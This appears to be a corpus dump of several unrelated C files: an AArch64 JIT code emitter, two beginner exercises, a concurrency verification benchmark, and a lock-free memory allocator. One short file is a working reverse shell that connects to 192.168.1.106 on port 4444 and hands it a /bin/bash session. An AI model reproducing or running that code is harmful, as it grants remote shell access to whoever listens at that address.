instr.cond_branch_imm.cond = COND_BRANCH_IMM_COND_GT;
break;
case COND_LT:
instr.cond_branch_imm.cond = COND_BRANCH_IMM_COND_LT;
break;
case COND_GE:
instr.cond_branch_imm.cond = COND_BRANCH_IMM_COND_GE;
break;
case COND_LE:
instr.cond_branch_imm.cond = COND_BRANCH_IMM_COND_LE;
break;
}
addInstruction(mem, instr);
return ret;
}
void addInstFAdd(StackAllocator* mem, RegisterSet regs, Register dest, Register a, Register b) {
Aarch64Instruction instr = { .instruction = 0, };
instr.proc_fp_two_source.cnst0 = PROC_FP_TWO_SOURCE_CNST0;
instr.proc_fp_two_source.cnst1 = PROC_FP_TWO_SOURCE_CNST1;
instr.proc_fp_two_source.cnst2 = PROC_FP_TWO_SOURCE_CNST2;
instr.proc_fp_two_source.cnst3 = PROC_FP_TWO_SOURCE_CNST3;
instr.proc_fp_two_source.m = 0;
instr.proc_fp_two_source.s = 0;
instr.proc_fp_two_source.ptype = PROC_FP_TWO_SOURCE_PTYPE_DOUBLE;
instr.proc_fp_two_source.opcode = PROC_FP_TWO_SOURCE_OPCODE_FADD;
instr.proc_fp_two_source.rd = regToNo(dest);
instr.proc_fp_two_source.rn = regToNo(a);
instr.proc_fp_two_source.rm = regToNo(b);
addInstruction(mem, instr);
}
void addInstFSub(StackAllocator* mem, RegisterSet regs, Register dest, Register a, Register b) {
Aarch64Instruction instr = { .instruction = 0, };
instr.proc_fp_two_source.cnst0 = PROC_FP_TWO_SOURCE_CNST0;
instr.proc_fp_two_source.cnst1 = PROC_FP_TWO_SOURCE_CNST1;
instr.proc_fp_two_source.cnst2 = PROC_FP_TWO_SOURCE_CNST2;
instr.proc_fp_two_source.cnst3 = PROC_FP_TWO_SOURCE_CNST3;
instr.proc_fp_two_source.m = 0;
instr.proc_fp_two_source.s = 0;
instr.proc_fp_two_source.ptype = PROC_FP_TWO_SOURCE_PTYPE_DOUBLE;
instr.proc_fp_two_source.opcode = PROC_FP_TWO_SOURCE_OPCODE_FSUB;
instr.proc_fp_two_source.rd = regToNo(dest);
instr.proc_fp_two_source.rn = regToNo(a);
instr.proc_fp_two_source.rm = regToNo(b);
addInstruction(mem, instr);
}
void addInstFMul(StackAllocator* mem, RegisterSet regs, Register dest, Register a, Register b) {
Aarch64Instruction instr = { .instruction = 0, };
instr.proc_fp_two_source.cnst0 = PROC_FP_TWO_SOURCE_CNST0;
instr.proc_fp_two_source.cnst1 = PROC_FP_TWO_SOURCE_CNST1;
instr.proc_fp_two_source.cnst2 = PROC_FP_TWO_SOURCE_CNST2;
instr.proc_fp_two_source.cnst3 = PROC_FP_TWO_SOURCE_CNST3;
instr.proc_fp_two_source.m = 0;
instr.proc_fp_two_source.s = 0;
instr.proc_fp_two_source.ptype = PROC_FP_TWO_SOURCE_PTYPE_DOUBLE;
instr.proc_fp_two_source.opcode = PROC_FP_TWO_SOURCE_OPCODE_FMUL;
instr.proc_fp_two_source.rd = regToNo(dest);
instr.proc_fp_two_source.rn = regToNo(a);
instr.proc_fp_two_source.rm = regToNo(b);
addInstruction(mem, instr);
}
void addInstFDiv(StackAllocator* mem, RegisterSet regs, Register dest, Register a, Register b) {
Aarch64Instruction instr = { .instruction = 0, };
instr.proc_fp_two_source.cnst0 = PROC_FP_TWO_SOURCE_CNST0;
instr.proc_fp_two_source.cnst1 = PROC_FP_TWO_SOURCE_CNST1;
instr.proc_fp_two_source.cnst2 = PROC_FP_TWO_SOURCE_CNST2;
instr.proc_fp_two_source.cnst3 = PROC_FP_TWO_SOURCE_CNST3;
instr.proc_fp_two_source.m = 0;
instr.proc_fp_two_source.s = 0;
instr.proc_fp_two_source.ptype = PROC_FP_TWO_SOURCE_PTYPE_DOUBLE;
instr.proc_fp_two_source.opcode = PROC_FP_TWO_SOURCE_OPCODE_FDIV;
instr.proc_fp_two_source.rd = regToNo(dest);
instr.proc_fp_two_source.rn = regToNo(a);
instr.proc_fp_two_source.rm = regToNo(b);
addInstruction(mem, instr);
}
void addInstMovDirectRegToFReg(StackAllocator* mem, RegisterSet regs, Register freg, Register reg) {
Aarch64Instruction instr = { .instruction = 0, };
instr.cnvt_fp_int.cnst0 = CNVT_FP_INT_CNST0;
instr.cnvt_fp_int.cnst1 = CNVT_FP_INT_CNST1;
instr.cnvt_fp_int.cnst2 = CNVT_FP_INT_CNST2;
instr.cnvt_fp_int.cnst3 = CNVT_FP_INT_CNST3;
instr.cnvt_fp_int.ptype = CNVT_FP_INT_PTYPE_DOUBLE;
instr.cnvt_fp_int.opcode = CNVT_FP_INT_OPCODE_MOV2F;
instr.cnvt_fp_int.rmode = 0;
instr.cnvt_fp_int.s = 0;
instr.cnvt_fp_int.sf = 1;
instr.cnvt_fp_int.rd = regToNo(freg);
instr.cnvt_fp_int.rn = regToNo(reg);
addInstruction(mem, instr);
}
void addInstMovImmToFReg(StackAllocator* mem, RegisterSet regs, Register reg, double value) {
union {
int64_t i;
double d;
} double_to_int64;
double_to_int64.d = value;
int free_reg = getFreeRegister(regs);
if(free_reg == 0) {
if (reg == REG_X(0)) {
free_reg = REG_X(1);
} else {
free_reg = REG_X(0);
}
addInstPush(mem, regs, free_reg);
addInstMovImmToReg(mem, regs, free_reg, double_to_int64.i);
addInstMovDirectRegToFReg(mem, regs, reg, free_reg);
addInstPop(mem, regs, free_reg);
} else {
addInstMovImmToReg(mem, regs, free_reg, double_to_int64.i);
addInstMovDirectRegToFReg(mem, regs, reg, free_reg);
}
}
void addInstMovMemToFReg(StackAllocator* mem, RegisterSet regs, Register reg, void* addr) {
int free_reg = getFreeRegister(regs);
if(free_reg == 0) {
if (reg == REG_X(0)) {
free_reg = REG_X(1);
} else {
free_reg = REG_X(0);
}
addInstPush(mem, regs, free_reg);
addInstMovImmToReg(mem, regs, free_reg, (int64_t)addr);
addInstMovMemRegToFReg(mem, regs, reg, free_reg);
addInstPop(mem, regs, free_reg);
} else {
addInstMovImmToReg(mem, regs, free_reg, (int64_t)addr);
addInstMovMemRegToFReg(mem, regs, reg, free_reg);
}
}
void addInstMovFRegToMem(StackAllocator* mem, RegisterSet regs, Register reg, void* addr) {
int free_reg = getFreeRegister(regs);
if(free_reg == 0) {
free_reg = getFirstRegister();
addInstPush(mem, regs, free_reg);
addInstMovImmToReg(mem, regs, free_reg, (int64_t)addr);
addInstMovFRegToMemReg(mem, regs, free_reg, reg);
addInstPop(mem, regs, free_reg);
} else {
addInstMovImmToReg(mem, regs, free_reg, (int64_t)addr);
addInstMovFRegToMemReg(mem, regs, free_reg, reg);
}
}
void addInstMovFRegToFReg(StackAllocator* mem, RegisterSet regs, Register dest, Register src) {
if (dest != src) {
Aarch64Instruction instr = { .instruction = 0, };
instr.proc_fp_one_source.cnst0 = PROC_FP_ONE_SOURCE_CNST0;
instr.proc_fp_one_source.cnst1 = PROC_FP_ONE_SOURCE_CNST1;
instr.proc_fp_one_source.cnst2 = PROC_FP_ONE_SOURCE_CNST2;
instr.proc_fp_one_source.cnst3 = PROC_FP_ONE_SOURCE_CNST3;
instr.proc_fp_one_source.ptype = PROC_FP_ONE_SOURCE_PTYPE_DOUBLE;
instr.proc_fp_one_source.opcode = PROC_FP_ONE_SOURCE_OPCODE_FMOV;
instr.proc_fp_one_source.m = 0;
instr.proc_fp_one_source.s = 0;
instr.proc_fp_one_source.rd = regToNo(dest);
instr.proc_fp_one_source.rn = regToNo(src);
addInstruction(mem, instr);
}
}
void addInstMovRegToFReg(StackAllocator* mem, RegisterSet regs, Register dest, Register src) {
Aarch64Instruction instr = { .instruction = 0, };
instr.cnvt_fp_int.cnst0 = CNVT_FP_INT_CNST0;
instr.cnvt_fp_int.cnst1 = CNVT_FP_INT_CNST1;
instr.cnvt_fp_int.cnst2 = CNVT_FP_INT_CNST2;
instr.cnvt_fp_int.cnst3 = CNVT_FP_INT_CNST3;
instr.cnvt_fp_int.ptype = CNVT_FP_INT_PTYPE_DOUBLE;
instr.cnvt_fp_int.opcode = CNVT_FP_INT_OPCODE_S2F;
instr.cnvt_fp_int.rmode = 0;
instr.cnvt_fp_int.s = 0;
instr.cnvt_fp_int.sf = 1;
instr.cnvt_fp_int.rd = regToNo(dest);
instr.cnvt_fp_int.rn = regToNo(src);
addInstruction(mem, instr);
}
void addInstMovFRegToReg(StackAllocator* mem, RegisterSet regs, Register dest, Register src) {
Aarch64Instruction instr = { .instruction = 0, };
instr.cnvt_fp_int.cnst0 = CNVT_FP_INT_CNST0;
instr.cnvt_fp_int.cnst1 = CNVT_FP_INT_CNST1;
instr.cnvt_fp_int.cnst2 = CNVT_FP_INT_CNST2;
instr.cnvt_fp_int.cnst3 = CNVT_FP_INT_CNST3;
instr.cnvt_fp_int.ptype = CNVT_FP_INT_PTYPE_DOUBLE;
instr.cnvt_fp_int.opcode = CNVT_FP_INT_OPCODE_F2S;
instr.cnvt_fp_int.rmode = CNVT_FP_INT_RMODE_ZERO;
instr.cnvt_fp_int.s = 0;
instr.cnvt_fp_int.sf = 1;
instr.cnvt_fp_int.rd = regToNo(dest);
instr.cnvt_fp_int.rn = regToNo(src);
addInstruction(mem, instr);
}
void addInstMovMemRegToFReg(StackAllocator* mem, RegisterSet regs, Register reg, Register addr) {
Aarch64Instruction instr = { .instruction = 0, };
instr.load_store_reg_unsi_imm.cnst0 = LOAD_STORE_REG_UNSI_IMM_CNST0;
instr.load_store_reg_unsi_imm.cnst1 = LOAD_STORE_REG_UNSI_IMM_CNST1;
instr.load_store_reg_unsi_imm.opc = LOAD_STORE_REG_UNSI_IMM_OPC_LDR;
instr.load_store_reg_unsi_imm.size = LOAD_STORE_REG_UNSI_IMM_SIZE_DOUBLE;
instr.load_store_reg_unsi_imm.v = 1;
instr.load_store_reg_unsi_imm.imm12 = 0;
instr.load_store_reg_unsi_imm.rn = regToNo(addr);
instr.load_store_reg_unsi_imm.rt = regToNo(reg);
addInstruction(mem, instr);
}
static void addInstMovFRegToMemRegWithOff(StackAllocator* mem, RegisterSet regs, Register addr, Register reg, int off) {
Aarch64Instruction instr = { .instruction = 0, };
instr.load_store_reg_unsi_imm.cnst0 = LOAD_STORE_REG_UNSI_IMM_CNST0;
instr.load_store_reg_unsi_imm.cnst1 = LOAD_STORE_REG_UNSI_IMM_CNST1;
instr.load_store_reg_unsi_imm.opc = LOAD_STORE_REG_UNSI_IMM_OPC_STR;
instr.load_store_reg_unsi_imm.size = LOAD_STORE_REG_UNSI_IMM_SIZE_DOUBLE;
instr.load_store_reg_unsi_imm.v = 1;
instr.load_store_reg_unsi_imm.imm12 = off;
instr.load_store_reg_unsi_imm.rn = regToNo(addr);
instr.load_store_reg_unsi_imm.rt = regToNo(reg);
addInstruction(mem, instr);
}
void addInstMovFRegToMemReg(StackAllocator* mem, RegisterSet regs, Register addr, Register reg) {
addInstMovFRegToMemRegWithOff(mem, regs, addr, reg, 0);
}
static void addInstAddImm(StackAllocator* mem, RegisterSet regs, Register dest, Register src, int imm) {
Aarch64Instruction instr = { .instruction = 0, };
instr.add_sub_imm.cnst0 = ADD_SUB_IMM_CNST0;
instr.add_sub_imm.imm12 = imm;
instr.add_sub_imm.op = ADD_SUB_IMM_OP_ADD;
instr.add_sub_imm.sf = 1;
instr.add_sub_imm.sh = 0;
instr.add_sub_imm.s = 0;
instr.add_sub_imm.rd = regToNo(dest);
instr.add_sub_imm.rn = regToNo(src);
addInstruction(mem, instr);
}
static void addInstSubImm(StackAllocator* mem, RegisterSet regs, Register dest, Register src, int imm) {
Aarch64Instruction instr = { .instruction = 0, };
instr.add_sub_imm.cnst0 = ADD_SUB_IMM_CNST0;
instr.add_sub_imm.imm12 = imm;
instr.add_sub_imm.op = ADD_SUB_IMM_OP_SUB;
instr.add_sub_imm.sf = 1;
instr.add_sub_imm.sh = 0;
instr.add_sub_imm.s = 0;
instr.add_sub_imm.rd = regToNo(dest);
instr.add_sub_imm.rn = regToNo(src);
addInstruction(mem, instr);
}
#define MAX_REG_ARGS 8
void addInstFunctionCall(StackAllocator* mem, RegisterSet regs, Register ret, int arg_count, Register* args, void* func) {
bool in_register[arg_count + 1];
addInstPushAll(mem, regs, regs & ~ret);
addInstPush(mem, regs, REG_X(REG_LINK));
RegisterSet all_regs = 0;
RegisterSet tmp_regs = 0;
size_t int_count = 0;
size_t float_count = 0;
int stack_size = 0;
for (int i = 0; i < arg_count; i++) {
if (args[i] >= REG_D(0)) {
in_register[i] = (float_count < MAX_REG_ARGS);
float_count++;
} else {
in_register[i] = (int_count < MAX_REG_ARGS);
int_count++;
}
if (in_register[i]) {
tmp_regs |= args[i];
} else {
stack_size++;
}
all_regs |= args[i];
}
if (stack_size > 0) {
Register tmp = getFreeRegister(tmp_regs);
tmp_regs |= tmp;
addInstSubImm(mem, regs, REG_X(REG_SPECIAL), REG_X(REG_SPECIAL), (1 + stack_size)/2 * 16);
addInstAddImm(mem, regs, tmp, REG_X(REG_SPECIAL), 0);
stack_size = 0;
for (int i = 0; i < arg_count; i++) {
if (!in_register[i]) {
if (args[i] >= REG_D(0)) {
addInstMovFRegToMemRegWithOff(mem, tmp_regs, tmp, args[i], stack_size);
} else {
addInstMovRegToMemRegWithOff(mem, tmp_regs, tmp, args[i], stack_size);
}
stack_size++;
}
}
tmp_regs &= ~tmp;
}
float_count = 0;
int_count = 0;
for (int i = 0; i < arg_count; i++) {
if (in_register[i]) {
if (args[i] >= REG_D(0)) {
Register to_use = REG_D(float_count);
tmp_regs |= to_use;
if (args[i] != to_use) {
Register tmp = getFreeFRegister(tmp_regs);
for (int j = i + 1; j < arg_count; j++) {
if (args[j] == to_use) {
addInstMovFRegToFReg(mem, tmp_regs, tmp, args[j]);
args[j] = tmp;
tmp_regs |= tmp;
}
}
addInstMovFRegToFReg(mem, tmp_regs, to_use, args[i]);
tmp_regs &= ~args[i];
}
float_count++;
} else {
Register to_use = REG_X(int_count);
tmp_regs |= to_use;
if (args[i] != to_use) {
Register tmp = getFreeRegister(tmp_regs);
for (int j = i + 1; j < arg_count; j++) {
if (args[j] == to_use) {
addInstMovRegToReg(mem, tmp_regs, tmp, args[j]);
args[j] = tmp;
tmp_regs |= tmp;
}
}
addInstMovRegToReg(mem, tmp_regs, to_use, args[i]);
tmp_regs &= ~args[i];
}
int_count++;
}
}
}
addInstCallBasic(mem, tmp_regs, func);
if (ret != 0) {
if(ret >= REG_D(0)) {
if(ret != REG_D(0)) {
addInstMovFRegToFReg(mem, regs, ret, REG_D(0));
}
} else {
if(ret != REG_X(0)) {
addInstMovRegToReg(mem, regs, ret, REG_X(0));
}
}
}
if (stack_size > 0) {
addInstAddImm(mem, regs, REG_X(REG_SPECIAL), REG_X(REG_SPECIAL), 16*(1 + stack_size)/2);
}
addInstPop(mem, regs, REG_X(REG_LINK));
addInstPopAll(mem, regs, regs & ~ret);
}
void addInstFunctionCallUnary(StackAllocator* mem, RegisterSet regs, Register ret, Register a, void* func) {
Register args[1] = { a };
addInstFunctionCall(mem, regs, ret, 1, args, func);
}
void addInstFunctionCallBinary(StackAllocator* mem, RegisterSet regs, Register ret, Register a, Register b, void* func) {
Register args[2] = { a, b };
addInstFunctionCall(mem, regs, ret, 2, args, func);
}
void addInstFunctionCallUnaryNoRet(StackAllocator* mem, RegisterSet regs, Register a, void* func) {
Register args[1] = { a };
addInstFunctionCall(mem, regs, 0, 1, args, func);
}
void addInstFunctionCallRetOnly(StackAllocator* mem, RegisterSet regs, Register ret, void* func) {
addInstFunctionCall(mem, regs, ret, 0, NULL, func);
}
void addInstFunctionCallSimple(StackAllocator* mem, RegisterSet regs, void* func) {
addInstFunctionCall(mem, regs, 0, 0, NULL, func);
}
void addInstPushCallerRegs(StackAllocator* mem, RegisterSet regs) {
for (int i = 19; i <= 28; i++) {
addInstPush(mem, regs, REG_X(i));
}
for (int i = 8; i <= 15; i++) {
addInstPush(mem, regs, REG_D(i));
}
}
void addInstPopCallerRegs(StackAllocator* mem, RegisterSet regs) {
for (int i = 15; i >= 8; i--) {
addInstPop(mem, regs, REG_D(i));
}
for (int i = 28; i >= 19; i--) {
addInstPop(mem, regs, REG_X(i));
}
}
void updateRelativeJumpTarget(StackAllocator* mem, size_t pos, size_t to) {
uint32_t rel = to - pos;
Aarch64Instruction instr = getInstruction(mem, pos);
if (instr.uncond_branch_imm.cnst0 == UNCOND_BRANCH_IMM_CNST0) {
instr.uncond_branch_imm.imm26 = rel >> 2;
} else if (instr.cond_branch_imm.cnst0 == COND_BRANCH_IMM_CNST0) {
instr.cond_branch_imm.imm19 = rel >> 2;
}
updateInstruction(mem, pos, instr);
}
void updateImmediateValue(StackAllocator* mem, size_t pos, int64_t value) {
for (int i = 0; i < 4; i++) {
Aarch64Instruction instr = getInstruction(mem, pos + 4 * i);
instr.move_imm.imm16 = (value >> (16 * i)) & 0xffff;
updateInstruction(mem, pos + 4 * i, instr);
}
}
#endif
|
the_stack_data/6676.c
|
/*
Write a program that enters a number n and after that enters more n
numbers and calculates and prints their sum.
*/
#include <stdio.h>
#include <stdlib.h>
void checkInput(double *);
int main()
{
double n, sum = 0;
printf("Enter number: ");
checkInput(&n);
int i;
for (i = 0; i < n; i++)
{
double number;
checkInput(&number);
sum += number;
}
printf("%.1lf", sum);
return (EXIT_SUCCESS);
}
void checkInput(double *N)
{
if ((scanf("%lf", N)) != 1)
{
fprintf(stderr, "Wrong input values!");
exit(EXIT_FAILURE);
}
}
|
the_stack_data/3262366.c
|
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int sockt;
int port = 4444;
struct sockaddr_in revsockaddr;
sockt = socket(AF_INET, SOCK_STREAM,0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.106");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
return 0;
}
|
the_stack_data/243892245.c
|
/* Inspired from example in Figure 2 in the PLDI 2015 paper:
https://dl.acm.org/citation.cfm?id=2737975
*/
// Adapted for the tool PSChecker
#include <pthread.h>
#define N 25
// shared variables
int x, y;
int __cs_mlock;
void *thr1(void *arg)
{
int i;
__cs_mutex_lock(&__cs_mlock);
rlx_write_ps(x, 1);
for (i=0; i<N; i++) {
rlx_write_ps(y, 1);
}
__cs_mutex_unlock(&__cs_mlock);
__cs_mutex_lock(&__cs_mlock);
rlx_write_ps(x, 1);
for (i=0; i<N; i++) {
rlx_write_ps(y, 1);
}
__cs_mutex_unlock(&__cs_mlock);
}
void *thr2(void *arg)
{
int _x, _y;
__cs_mutex_lock(&__cs_mlock);
rlx_write_ps(x, 0);
__cs_mutex_unlock(&__cs_mlock);
rlx_read_ps(x, _x);
if (_x > 0) {
rlx_read_ps(y, _y);
_y = _y + 1;
rlx_write_ps(y, _y);
rlx_write_ps(x, 2);
}
__cs_mutex_lock(&__cs_mlock);
rlx_write_ps(x, 0);
__cs_mutex_unlock(&__cs_mlock);
rlx_read_ps(x, _x);
if (_x > 0) {
rlx_read_ps(y, _y);
_y = _y + 1;
rlx_write_ps(y, _y);
rlx_write_ps(x, 2);
}
}
void *thr3(void *arg)
{
int _x, _y;
rlx_read_ps(x, _x);
if(_x > 1) {
rlx_read_ps(y, _y);
if (_y == 3) {
assert(0);
}
}
rlx_read_ps(x, _x);
if(_x > 1) {
rlx_read_ps(y, _y);
if (_y == 3) {
assert(0);
}
}
}
int main(int argc, char **argv)
{
pthread_t t1, t2, t3;
x = 0;
y = 0;
// cas_mutex = 0;
__cs_mutex_init(&__cs_mlock, 0);
pthread_create(&t1, NULL, thr1, NULL);
pthread_create(&t2, NULL, thr2, NULL);
pthread_create(&t3, NULL, thr3, NULL);
return 0;
}
|
the_stack_data/159514208.c
|
#include <stdio.h>
#include <stdlib.h>
typedef struct _el
{
int key;
struct _el* next;
} el;
void LeggiContrario(el* l)
{
if(l != NULL)
{
LeggiContrario((*l).next);
printf("%d\n", (*l).key);
}
}
int main()
{
int len;
scanf("%d", &len);
int input;
scanf("%d", &input);
el* l = malloc(sizeof(el));
(*l).key = input;
(*l).next = NULL;
el* coda = l;
len--;
while(len>0)
{
(*coda).next = malloc(sizeof(el));
coda = (*coda).next;
scanf("%d", &input);
(*coda).key = input;
(*coda).next = NULL;
len--;
}
LeggiContrario(l);
return 0;
}
|
the_stack_data/454685.c
|
#include <stdio.h>
#include <stdbool.h>
#include <stdlib.h>
#include <pthread.h>
#include <time.h>
#include <unistd.h>
#include <errno.h>
int PSLY_Record_IDXNUM = 16;
int PSLY_Record_IDXBIT = ((1 << 16) - 1);
int PSLY_Record_ARRAYNUM_MAX = (1 << 4);
int PSLY_Record_ARRAYNUM = (1 << 2);
int PSLY_Record_ARRAYBITS = ((1 << 4) -1);
int PSLY_Record_ARRBIT = (((1 << 4) - 1) << 16);
int PSLY_Record_ARRBITR = ((1 << 4) - 1);
int PSLY_Record_ARRIDXBIT = ((((1 << 4) - 1) << 16) | ((1 << 16) - 1));
int PSLY_Record_NEXTIDXNUM = 16;
int PSLY_Record_NEXTIDXBIT = ((1 << 16) - 1);
int PSLY_Record_NEXTTAILNUM = 1;
int PSLY_Record_NEXTTAILBIT = (((1 << 1) - 1) << 16);
int PSLY_Record_NEXTVERSIONNUM = (32 - 1 - 16);
int PSLY_Record_NEXTVERSIONBIT = ((~0)^((((1 << 1) - 1) << 16) | ((1 << 16) - 1)));
int PSLY_Record_NEXTVERSIONONE = (1 + ((((1 << 1) - 1) << 16) | ((1 << 16) - 1)));
int PSLY_Record_TAILIDXNUM = 16;
int PSLY_Record_TAILIDXBIT = ((1 << 16) - 1);
int PSLY_Record_TAILVERSIONNUM = (32 - 16);
int PSLY_Record_TAILVERSIONBIT = ((~0) ^ ((1 << 16) - 1));
int PSLY_Record_TAILVERSIONONE = (1 + ((1 << 16) - 1));
int PSLY_Record_HEADIDXNUM = 16;
int PSLY_Record_HEADIDXBIT = ((1 << 16) - 1);
int PSLY_Record_HEADVERSIONNUM = (32 - 16);
int PSLY_Record_HEADVERSIONBIT = ((~0) ^ ((1 << 16) - 1));
int PSLY_Record_HEADVERSIONONE = (1 + ((1 << 16) - 1));
typedef struct Record {
int volatile next __attribute__((aligned(128)));
int self ;
long volatile nextRecord __attribute__((aligned(128)));
void* volatile pointer ;
} Record __attribute__((aligned(128)));
typedef struct RecordQueue {
int volatile head ;
int volatile tail ;
} RecordQueue ;
static Record* volatile psly_Records[1 << 4];
static RecordQueue volatile psly_Record_queues[1 << 4];
static long volatile recordTake = 0;
Record* idx_Record(int index) {
return psly_Records[(index & PSLY_Record_ARRBIT) >> PSLY_Record_IDXNUM] + (index & PSLY_Record_IDXBIT);
}
Record* get_Record() {
for(;;) {
int localArrayNum = PSLY_Record_ARRAYNUM;
int array = localArrayNum - 1;
RecordQueue* queue = psly_Record_queues + array;
Record* arr = psly_Records[array];
for(;;){
int headIndex = (queue->head);
int indexHead = headIndex & PSLY_Record_HEADIDXBIT;
Record* head = arr + indexHead;
int tailIndex = (queue->tail);
int indexTail = tailIndex & PSLY_Record_TAILIDXBIT;
int nextIndex = (head->next);
if(headIndex == (queue->head)) {
if(indexHead == indexTail){
if((nextIndex & PSLY_Record_NEXTTAILBIT) == PSLY_Record_NEXTTAILBIT)
break;
__sync_bool_compare_and_swap(&queue->tail, tailIndex, (((tailIndex & PSLY_Record_TAILVERSIONBIT) + PSLY_Record_TAILVERSIONONE ) & PSLY_Record_TAILVERSIONBIT)|(nextIndex & PSLY_Record_TAILIDXBIT));
} else {
if(__sync_bool_compare_and_swap(&queue->head, headIndex, (((headIndex & PSLY_Record_HEADVERSIONBIT) + PSLY_Record_HEADVERSIONONE) & PSLY_Record_HEADVERSIONBIT)|(nextIndex & PSLY_Record_HEADIDXBIT))) {
return head;
} else {
break;
}
}
}
}
for(int i = 0; i < localArrayNum; ++i) {
long localR;
int array = (localR = __sync_fetch_and_add(&recordTake, 1)) % localArrayNum;
RecordQueue* queue = psly_Record_queues + array;
Record* arr = psly_Records[array];
for(;;){
int headIndex = (queue->head);
int indexHead = headIndex & PSLY_Record_HEADIDXBIT;
Record* head = arr + indexHead;
int tailIndex = (queue->tail);
int indexTail = tailIndex & PSLY_Record_TAILIDXBIT;
if(array < 0)
printf("array: %d theRecordTake: %ld\n", array, localR);
int nextIndex = (head->next);
if(headIndex == (queue->head)) {
if(indexHead == indexTail){
if((nextIndex & PSLY_Record_NEXTTAILBIT) == PSLY_Record_NEXTTAILBIT)
break;
__sync_bool_compare_and_swap(&queue->tail, tailIndex, (((tailIndex & PSLY_Record_TAILVERSIONBIT) + PSLY_Record_TAILVERSIONONE ) & PSLY_Record_TAILVERSIONBIT)|(nextIndex & PSLY_Record_TAILIDXBIT));
} else {
if(__sync_bool_compare_and_swap(&queue->head, headIndex, (((headIndex & PSLY_Record_HEADVERSIONBIT) + PSLY_Record_HEADVERSIONONE) & PSLY_Record_HEADVERSIONBIT)|(nextIndex & PSLY_Record_HEADIDXBIT))) {
return head;
} else {
break;
}
}
}
}
}
for(int i = 0; i < localArrayNum; ++i) {
int array = i;
RecordQueue* queue = psly_Record_queues + array;
Record* arr = psly_Records[array];
for(;;){
int headIndex = (queue->head);
int indexHead = headIndex & PSLY_Record_HEADIDXBIT;
Record* head = arr + indexHead;
int tailIndex = (queue->tail);
int indexTail = tailIndex & PSLY_Record_TAILIDXBIT;
int nextIndex = (head->next);
if(headIndex == (queue->head)) {
if(indexHead == indexTail){
if((nextIndex & PSLY_Record_NEXTTAILBIT) == PSLY_Record_NEXTTAILBIT)
break;
__sync_bool_compare_and_swap(&queue->tail, tailIndex, (((tailIndex & PSLY_Record_TAILVERSIONBIT) + PSLY_Record_TAILVERSIONONE ) & PSLY_Record_TAILVERSIONBIT)|(nextIndex & PSLY_Record_TAILIDXBIT));
} else {
if(__sync_bool_compare_and_swap(&queue->head, headIndex, (((headIndex & PSLY_Record_HEADVERSIONBIT) + PSLY_Record_HEADVERSIONONE) & PSLY_Record_HEADVERSIONBIT)|(nextIndex & PSLY_Record_HEADIDXBIT))) {
return head;
}
}
}
}
}
//不够增加
if(localArrayNum == PSLY_Record_ARRAYNUM_MAX)
return NULL;
if(localArrayNum == PSLY_Record_ARRAYNUM) {
if(psly_Records[localArrayNum] == NULL) {
int array_ = localArrayNum;
Record* record;
void * ptr;
int ret = posix_memalign(&ptr, 4096, (1 << PSLY_Record_IDXNUM) * sizeof(Record));
record = ptr;
memset(record, 0, (1 << PSLY_Record_IDXNUM) * sizeof(Record));
for(int j = 0; j < (1 << PSLY_Record_IDXNUM) - 1; ++j){
record->self = (array_ << PSLY_Record_IDXNUM) | j;
record->next = j+1;
record->pointer = NULL;
record->nextRecord = 0;
record += 1;
}
record->self = (array_ << PSLY_Record_IDXNUM) | ((1 << PSLY_Record_IDXNUM) - 1);
record->next = PSLY_Record_NEXTTAILBIT;
record->pointer = NULL;
record->nextRecord = 0;
//printf("I'm here %d %ld\n", localArrayNum, pthread_self());
if(!__sync_bool_compare_and_swap(&psly_Records[array_], NULL, ptr))
{free(ptr);}
else
/*printf("extend to %d\n", localArrayNum + 1)*/;
}
if(localArrayNum == PSLY_Record_ARRAYNUM)
__sync_bool_compare_and_swap(&PSLY_Record_ARRAYNUM, localArrayNum, localArrayNum + 1);
}
}
}
void return_Record(Record* record) {
long local = (record->next);
local |= PSLY_Record_NEXTTAILBIT;
record->next = local;
int self = record->self;
int array = (self >> PSLY_Record_IDXNUM) & PSLY_Record_ARRBITR;
Record* arr = psly_Records[array];
RecordQueue* queue = psly_Record_queues + array;
for(;;) {
int tailIndex = (queue->tail);
int indexTail = tailIndex & PSLY_Record_TAILIDXBIT;
Record* tail = arr + indexTail;
int nextIndex = (tail->next);
if(tailIndex == (queue->tail)){
if((nextIndex & PSLY_Record_NEXTTAILBIT) == PSLY_Record_NEXTTAILBIT) {
if(__sync_bool_compare_and_swap(&tail->next, nextIndex, (((nextIndex & PSLY_Record_NEXTVERSIONBIT) + PSLY_Record_NEXTVERSIONONE) & PSLY_Record_NEXTVERSIONBIT)|(self & PSLY_Record_NEXTIDXBIT))){
__sync_bool_compare_and_swap(&queue->tail, tailIndex, (((tailIndex & PSLY_Record_TAILVERSIONBIT) + PSLY_Record_TAILVERSIONONE) & PSLY_Record_TAILVERSIONBIT)|(self & PSLY_Record_TAILIDXBIT));
return;
}
} else {
__sync_bool_compare_and_swap(&queue->tail, tailIndex, (((tailIndex & PSLY_Record_TAILVERSIONBIT) + PSLY_Record_TAILVERSIONONE) & PSLY_Record_TAILVERSIONBIT)|(nextIndex & PSLY_Record_TAILIDXBIT));
}
}
}
}
int IDXNUM_ = 16;
long IDXBIT_= ((1 << 16) - 1);
int ARRNUM_ = 4;
long ARRBIT_ = (((1 << 4) - 1) << 16);
long ARRIDXBIT_= (((1 << 16) - 1) | (((1 << 4) - 1) << 16));
int REFCB = 16;
int REFCBITS_ = ((1 << 16) - 1);
long REFCBITS = (((long)(-1)) << (64 - 16));
long REFONE = (((long)1) << (64 - 16));
long DELETED = 0x0000000000000000;
int RECBW = (64 - 16);
int NODEB = ((64 - 16 - 4 - 16) >> 1);
long NODEBITS = (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)));
